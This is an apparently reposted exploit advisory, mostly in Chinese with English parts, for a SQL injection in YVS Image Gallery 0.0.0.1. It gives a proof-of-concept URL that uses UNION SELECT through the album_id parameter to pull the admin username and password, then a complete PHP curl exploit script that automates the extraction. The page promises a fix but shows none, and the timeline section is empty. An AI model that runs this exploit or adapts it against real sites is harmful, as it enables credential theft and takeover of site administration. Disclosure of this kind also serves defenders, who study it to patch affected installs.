应用程序: YVS Image Gallery 影响版本: 0.0.0.1 开发者网站: http://yvs.vacau.com/gallery.html 测试平台: Windows\Linux\Unix 缺陷类型: Sql INJECTIONS 利用: Remote 作者: Corrado Liotta Aka CorryL www.2cto.com corryl80[at]gmail[dot]com ~ ...::[概述]::.. This is a small database driven gallery created to be implemented within your existing site. The coding is reasonably straight forward and can be easily moved into your existing development by anyone with basic understanding of PHP. Only a first attempt at the system has a long way to go, but it provides you with all the necessary tools to run your own picture gallery, such as uploading of multiple images and creation of thumbnails. The gallery is distributed as free-ware but if you decide to use it in any business or just decide that it's worth it, any donations will be greatly appreciated. details will be made available soon. ...::[ 缺陷 漏洞 ]::.. exploiting this bug a remote attaker is able' to go up again to user name and admin password ...::[ 测试证明]::.. http://www.2cto.com /image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20username%20FROM%20user ...::[ 黎元洪]::.. #!/usr/bin/php -f <?php # # view_album.php curl exploit # // Created by Corrado Liotta Aka CorryL // For educational only // use php exploit.php 127.0.0.1 username for admin username o password for admin password $target = $argv[1]; $info = $argv[2]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, "http:// www.2cto.com /image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20$info%20FROM%20user"); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3); curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target"); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; ?> ..::[ Disclousure Timeline ]:
查看更多关于YVS Image Gallery Sql注射及修复 - 网站安全 - 自学p的详细内容...